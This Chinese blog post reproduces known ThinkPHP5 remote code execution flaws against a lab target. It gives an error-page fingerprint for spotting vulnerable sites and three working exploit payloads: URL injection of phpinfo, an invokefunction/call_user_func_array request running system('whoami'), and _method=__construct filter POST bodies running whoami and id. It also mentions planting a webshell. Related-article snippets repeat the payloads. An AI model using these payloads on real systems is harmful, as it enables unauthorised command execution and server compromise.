ThinkPHP代码执行漏洞

原创 已于 2023-07-01 21:32:23 修改 · 2.7k 阅读 · 3 ·
CC 4.0 BY-SA版权
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
文章标签：

#安全 #web安全 #网络

于 2023-07-01 21:29:01 首次发布
文章详细介绍了ThinkPHP5存在的代码执行漏洞，包括特征识别（如报错页面显示的特定信息）以及三种复现漏洞的方法：通过URL参数触发phpinfo显示、调用call_user_func_array执行任意代码，以及利用_method和filter进行构造请求触发系统命令执行。

一、ThinkPHP5代码执行漏洞

特征：被检测系统报错页面出现“十年磨一剑-为API开发设计的高性能框架”，则判定该系统使用ThinkPHP5开发

二、复现

1)

在这里插入图片描述访问
在这里插入图片描述poc：http://192.168.133.128:8080/index.php?s=1/2/3/${phpinfo()}
在这里插入图片描述写入一句话木马：
在这里插入图片描述

2)

在这里插入图片描述访问：
在这里插入图片描述
poc：
http://192.168.133.128:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1
在这里插入图片描述任意代码执行：
http://192.168.133.128:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
在这里插入图片描述

3)

在这里插入图片描述访问：
在这里插入图片描述poc1:
_method=__construct&filter[]=system&method=get&get[]=whoami
在这里插入图片描述poc2:
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id
在这里插入图片描述

Thinkphp漏洞远程代码执行漏洞事件分析报告
计算机毕业论文源码，学生个人网页制作html源码。贴近用户做网络推广和互联网优化。
11-19 5119
Thinkphp漏洞是继ECShop代码执行漏洞之后，又一次经典的0day漏洞挖掘利用过程。从漏洞刚被挖掘出来时的试探性攻击，到之后有目的、有针对性地攻击虚拟币类、投资金融类的网站，最后到漏洞曝光后的大规模批量性攻击，成为黑产和僵尸网络的工具，给我们展示了一条完整的0day漏洞生命线。 Thinkphp5漏洞背景 2018年12月10日，ThinkPHP 官方发布《ThinkPHP 5.* 版本安全更新》，修复了一个远程代码执行漏洞。由于 ThinkPHP 框架对控制器名没有进行足够的检测，导致攻击者可能可
框架、组件漏洞系列5：tthinkPhp漏洞汇总
W0ngk，一个安全菜鸡，一直在模仿，尚未有超越。
01-07 4235
一、ThinkPHP简介 基础介绍： ThinkPHP是为了简化企业级应用开发和敏捷WEB应用开发而诞生的。最早诞生于2006年初，2007年元旦正式更名为ThinkPHP，并且遵循Apache2开源协议发布。ThinkPHP从诞生以来一直秉承简洁实用的设计原则，在保持出色的性能和至简的代码的同时，也注重易用性。并且拥有众多原创功能和特性，在社区团队的积极参与下，在易用性、扩展性和性能方面不断优化和改进。 近期发布历史： 2015年12月11日，ThinkPHP 5.0 Beta 发布； 2017年02.
Thinkphp5.1 反序列化漏洞复现
feng的博客
02-18 5123
前言 开始tp5.1的反序列化链的复现，这个链我上学期10月份的时候尝试复现过，但是当时的自己代码审计能力，反序列化的能力也都实在太菜，不足以理解这个链。这个链相比yii2，laravel5.7,5.8的那些链，长度和难度都提高了很多，思维的跳跃也很，自己也要想办法把它啃下来。 源码下载： thinkphp5源码 或者去github上下载也可以。 然后写个控制器： <?php namespace app\index\controller; class Unserialize { pub
【web安全】DolphinPHP RCE漏洞分析
HBohan的博客
04-07 4309
DolphinPHP DolphinPHP（海豚PHP）是一个基于ThinkPHP5.1.41LTS开发的一套开源PHP快速开发框架，DolphinPHP秉承极简、极速、极致的开发理念，为开发集成了基于数据-角色的权限管理机制，集成多种灵活快速构建工具，可方便快速扩展的模块、插件、钩子、数据包。统一了模块、插件、钩子、数据包之间的版本和依赖关系，进一步降低了代码和数据的冗余，以方便开发者快速构建自己的应用。 漏洞分析 看到application\common.php#action_log函数 观察到有
ThinkPHP5漏洞分析之代码执行
最新发布
duoba_an的博客
08-14 1643
本次漏洞存在于的缓存类中。该类会将缓存数据通过序列化的方式，直接存储在文件中，攻击者通过精心构造的，即可将写入缓存文件。缓存文件的名字和目录均可预测出来，一旦缓存目录可访问或结合任意文件包含漏洞，即可触发。漏洞影响版本：。
thinkphp5框架漏洞
m0_74196038的博客
03-07 1881
ThinkPHP是一个免费开源的，快速、简单的面向对象的轻量级PHP开发框架，是为了敏捷WEB应用开发和简化企业应用开发而诞生的这个poc是通过post方法提交的，然后url当中还是要提交?s=captcha特殊url编码之后的POC。
ThinkPHP5 5.0.23 远程代码执行漏洞复现
weixin_54786196的博客
09-01 610
是由于框架对控制器名没有进行敏感字符检测，导致在没有开启强制路由的情况下可能导致远程代码执行。至此 ThinkPHP5 5.0.23 远程代码执行漏洞 复现成功。id是我们执行的命令，可更换我们需要的命令。5.0.23和5.1.31之前的所有版本。改变传参方式 GET改为POST。访问靶机ip+端口号8080。使用burp抓到首页的包。
ThinkPHP 5.0 远程代码执行漏洞分析
02-21
### ThinkPHP 5.0 远程代码执行漏洞分析 #### 漏洞背景与概述 ThinkPHP是一款广泛使用的PHP框架，它提供了丰富的功能和良好的性能。然而，如同任何复杂的软件系统一样，它也存在安全漏洞。本次分析的焦点集中在...
漏洞通告ThinkPHP远程代码执行漏洞
05-05
【漏洞通告】ThinkPHP远程代码执行漏洞
ThinkPHP远程执行漏洞修复方案探讨
Li91314的博客
07-11 786
通过及时更新框架版本、加强用户输入验证、限制文件包含和动态执行功能、使用安全加固工具以及加强安全意识培训等措施，我们可以有效地修复和防范ThinkPHP远程执行漏洞，提高Web应用的安全性。具体来说，当框架接收到用户提交的请求时，如果没有对用户输入进行严格的验证和过滤，就可能导致恶意代码的执行。这就导致了一个问题，框架中的一些功能设计也可能存在安全隐患，如文件包含、动态执行等，这些功能如果被攻击者利用，也可能导致远程执行漏洞的产生。近年来，ThinkPHP框架中出现的远程执行漏洞成为了开发者们关注的焦点。
thinkphp5漏洞验证
04-16
thinkphp漏洞验证文档，此文档仅用于漏洞验证等白帽子行为，请勿用于网络攻击等非白帽子行为
ThinkPHP5系列远程代码执行漏洞复现（详细）
weixin_53730939的博客
03-20 1万+
ThinkPHP5系列远程代码执行漏洞复现（详细）
ThinkPHP5.0.x远程执行漏洞分析与复现
qq_74148743的博客
05-11 2509
2018年12月10日，ThinkPHPv5系列发布安全更新，修复了一处可导致远程代码执行的严重漏洞。此次漏洞由ThinkPHP v5框架代码问题引起，其覆盖面广，且可直接远程执行任何代码和命令。电子商务行业、金融服务行业、互联网游戏行业等网站使用该ThinkPHP框架比较多，需要格外关注。由于ThinkPHP v5框架对控制器名没有进行足够的安全检测，导致在没有开启强制路由的情况下，黑客构造特定的请求，可直接进行远程的代码执行，进而获得服务器权限。
ThinkPHP5远程代码执行漏洞
weixin_50464560的博客
08-15 4296
https://zhuanlan.zhihu.com/p/52173644 2018年12月10日,白帽汇安全研究院发现thinkphp官网发布了安全更新，修复了一个远程代码执行漏洞，该漏洞是由于框架对控制器名没有进行敏感字符检测，导致在没有开启强制路由的情况下可能导致远程代码执行。主要影响的版本为5.0.23和5.1.31之前的所有版本。此次爆出漏洞的ThinkPHP 5.x版本是官方于2015年发布的新一代框架，其中5.1.0RC版本于今年的5月2日发布，但在短短几个月时间内就爆出远程代码执行漏洞，
攻防世界 ThinkPHP V5（漏洞解析及利用）
Haowill的博客
04-12 1万+
ThinkPHP V5 攻防世界这道题，考察的是thinkphp V5的漏洞，接下来我详细介绍一下thinkphp V5这个漏洞。 ThinkPHP 5漏洞简介 ThinkPHP官方2018年12月9日发布重要的安全更新，修复了一个严重的远程代码执行漏洞。该更新主要涉及一个安全更新，由于框架对控制器名没有进行足够的检测会导致在没有开启强制路由的情况下可能的getshell漏洞，受影响的版本包括5....
ThinkPHP 系列漏洞
SHELLCODE_8BIT的博客
11-18 4720
所有 sql 注入漏洞均在 library/think/db/Builder.php 文件中。1、thinkphp5 SQL注入1漏洞影响版本： 5.0.13
ThinkPHP 5.0 * 远程代码执行漏洞分析
热门推荐
a1b2c3是弱口令
01-11 1万+
ThinkPHP 5.0 * 远程代码执行全版本通杀 本文主要以官网下载的5.0.23 完整版(thinkphp_5.0.23_with_extend.zip)为例分析。 Thinkphp处理请求的关键类为Request(thinkphp/library/think/Request.php) 该类可以实现对HTTP请求的一些设置。 其中成员函数method用来获取当前请求类型，其定义如下： ...
ThinkPHP5 5.0.23 远程代码执行漏洞
Snowflake1997的博客
03-09 4471
关闭其它的docker环境 ThinkPHP是一款运用极广的PHP开发框架。其5.0.23以前的版本中，获取method的方法中没有正确处理方法名，导致攻击者可以调用Request类任意方法并构造利用链，从而导致远程代码执行漏洞。 进入目录并启动 访问 index.php?s=captcha _method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=whoami ...
Thinkphp5 RCE漏洞
Sentiment的博客
05-21 7755
影响版本 5.0.0<=ThinkPHP5<=5.0.23 、5.1.0<=ThinkPHP<=5.1.30 不同版本payload不同，且5.13版本后还与debug模式有关 这里跟着feng师傅复现的，所以用的也是5.0.22 ThinkPHP5.0.22完整版 - ThinkPHP框架 5.0.22debug模式RCE 这波属实下饭了，开启debug模式后payload一直没打通，后来发现改成其他版本的配置文件了.........
ThinkPHP远程代码执行漏洞利用工具详解
ThinkPHP远程代码执行漏洞的危害与其他远程代码执行漏洞类似，攻击者一旦利用成功，就可能控制整个服务器，影响整个网站的安全运行。 ### 4. 漏洞利用工具（Exploit）的作用与工作原理 漏洞利用工具（通常称为...
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
表情包 代码片
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值